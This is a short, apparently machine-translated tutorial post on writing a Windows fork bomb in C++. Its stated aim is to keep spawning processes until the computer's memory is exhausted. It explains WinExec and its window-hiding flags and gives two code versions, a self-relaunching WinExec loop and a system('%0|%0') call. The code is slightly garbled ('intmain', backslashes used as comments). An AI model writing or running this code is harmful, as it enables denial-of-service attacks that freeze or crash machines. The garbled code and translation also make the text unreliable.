——Excerpted from Baidu Encyclopedia
> But Baidu Encyclopedia only gives C++ programs under the POSIX standard.
> I had no choice but to write one myself.
The principle is to constantly create new processes to exhaust the computer's memory
Let us understand the picture again:
So, we can only use the WinExec function to start the process
So how to use it?
First, the '\' in the constant string must be written as '\\', that is, WinExec("E:\QQ.EXE",SW_SHOW); must be changed to:
WinExec("E:\\QQ.EXE",SW_SHOW) ;
Additional answer: SW_SHOWMINNOACTIVE is used if SW_HIDE does not work.
In addition to the three mentioned above, the second parameter has the following 7 options:
SW_MAXIMIZE //Maximize operation
SW_MINIMIZE //Minimize operation
SW_RESTORE //Restore the maximized or minimized window to normal
SW_SHOWMAXIMIZED //Activate the window And run it maximized
SW_SHOWMINIMIZED //Activate the window and run it minimized SW_SHOWNOACTIVATE
//Do not activate
SW_SHOWNORMAL //Normal way
Knowing this, we can start writing code
#include<windows.h> //不能用#include<bits/stdc++.h> using namespace std; intmain() { while(1) \\ can also be written as while(true) WinExec("Write your file directory here, if the generated exe file", SW_NORMAL); }
"Write your file directory here, if the exe file is generated" What does this mean?
That is, when you run a string of code, C++ will automatically create an exe program with the same name as the source code file, and then you fill in the directory of the exe file, be careful to add double quotes.
For example this:
WinExec("C://Users//Administrator//Documents//fork.exe",SW_NORMAL);
In fact, there is a simpler way to run system commands directly with C++
#include<windows.h> using namespace std; intmain() { system("%0|%0");\\directly on the windows command }